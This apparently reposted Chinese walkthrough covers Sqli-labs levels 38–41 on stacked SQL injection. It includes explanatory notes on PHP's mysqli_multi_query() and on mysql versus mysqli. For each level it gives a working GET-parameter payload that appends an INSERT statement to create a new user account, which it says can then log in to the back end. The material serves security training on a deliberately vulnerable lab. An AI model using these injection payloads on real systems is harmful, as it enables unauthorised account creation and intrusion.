概述
Less-38
基于错误_GET_单引号_字符型_堆叠注入
这里有修改系统变量的几种方法,可以考虑注入时涉及文件操作时先修改权限。
MySQL里设置或修改系统变量的几种方法
如果遇到Mysql loadfile 不成功,请看Less-7进行解决
注入过程
mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。(有这个才能进行堆叠)
分号我们可以加入注入的新的语句
堆叠注入需要依靠前文所写的各种注入方式来获取数据库的信息(参考Less-1,因为源代码没有进行任何过滤,还爆数据库错误信息,是最简单的SQL注入),在这里只演示如何插入新的数据。
?id=1';insert into users(id,username,password) values(38,'less38','hello')--+
再看数据表中的内容:可以看到 less38 已经添加。
这样我们就成功的创建了一个用户,就可以在后台直接登录。
顺便看下核心源码吧:
PHP mysqli_multi_query() 函数
定义和用法
mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。
语法
mysqli_multi_query(connection,query);
参数 描述 connection 必需。规定要使用的 MySQL 连接。 query 必需。规定一个或多个查询,用分号进行分隔。 技术细节
返回值: 如果第一个查询失败则返回 FALSE。 PHP 版本: 5+
一、mysql与mysqli的概念相关:
1、mysql与mysqli都是php方面的函数集,与mysql数据库关联不大。
2、在php5版本之前,一般是用php的mysql函数去驱动mysql数据库的,比如mysql_query()的函数,属于面向过程3、在php5版本以后,增加了mysqli的函数功能,某种意义上讲,它是mysql系统函数的增强版,更稳定更高效更安全,与mysql_query()对应的有mysqli_query(),属于面向对象,用对象的方式操作驱动mysql数据库。mysqli有两种方式:一种是面对对象的,一种是面向过程的。
二、mysql与mysqli的区别:
1、mysql是非持继连接函数,mysql每次链接都会打开一个连接的进程。
2、mysqli是永远连接函数,mysqli多次运行mysqli将使用同一连接进程,从而减少了服务器的开销。mysqli封装了诸如事务等一些高级操作,同时封装了DB操作过程中的很多可用的方法。
mysqli的使用:
1.mysqli的面向过程的使用:$conn = mysqli_connect('localhost', 'root', '123', 'db_test') or ('error'); $sql = "select * from db_table"; $query = mysqli_query($conn,$sql); while($row = mysqli_fetch_array($query)){ echo $row['title']; }
2.mysqli的面向对象的使用:
$conn = new mysqli('localhost', 'root', '123', 'db_test'); $sql = "select * from db_table"; $query = $conn->query($sql); while($row = $query->fetch_array()){ echo $row['title']; }
代码里面涉及到了很多mysql函数,需要自行学习解决。
--------------------------------------------------------------------------------------------
Less-39
基于错误_GET_数字型_堆叠注入
和 less-38 的区别在于 sql 语句的不一样:
也就是数字型注入,我们可以构造以下的 payload:
?id=1;insert into users(id,username,password) values(39,'less39','hello')--+
再看数据表中的内容:可以看到 less39 已经添加。
-------------------------------------------------------------------------------------
Less-40
基于Bool_GET_单引号_小括号_字符型_盲注_堆叠注入
本关的 sql 语句为:
正常注入可以用脚本 Bool 盲注,或者手工盲注具体参考前面的文章。
堆叠注入如下:
?id=1');insert into users values(40,'Less40','hello')--+
再看数据表中的内容:可以看到 less40 已经添加。
-------------------------------------------------------------------------
Less-41
基于Bool_GET_数字型_盲注_堆叠注入
此处与 less-39 是一致的,区别在于 41 错误不回显。所以我们称之为盲注。
本关SQL语句:
正常注入可以用脚本 Bool 盲注,或者手工盲注具体参考前面的文章。
堆叠注入如下:
?id=1;insert into users values(41,'Less41','hello')--+
再看数据表中的内容:可以看到 less41 已经添加。
最后
以上就是繁荣饼干为你收集整理的Sqli-labs之Less:38-41 Less-38PHP mysqli_multi_query() 函数 Less-39 Less-40 的全部内容,希望文章能够帮你解决Sqli-labs之Less:38-41 Less-38PHP mysqli_multi_query() 函数 Less-39 Less-40 所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复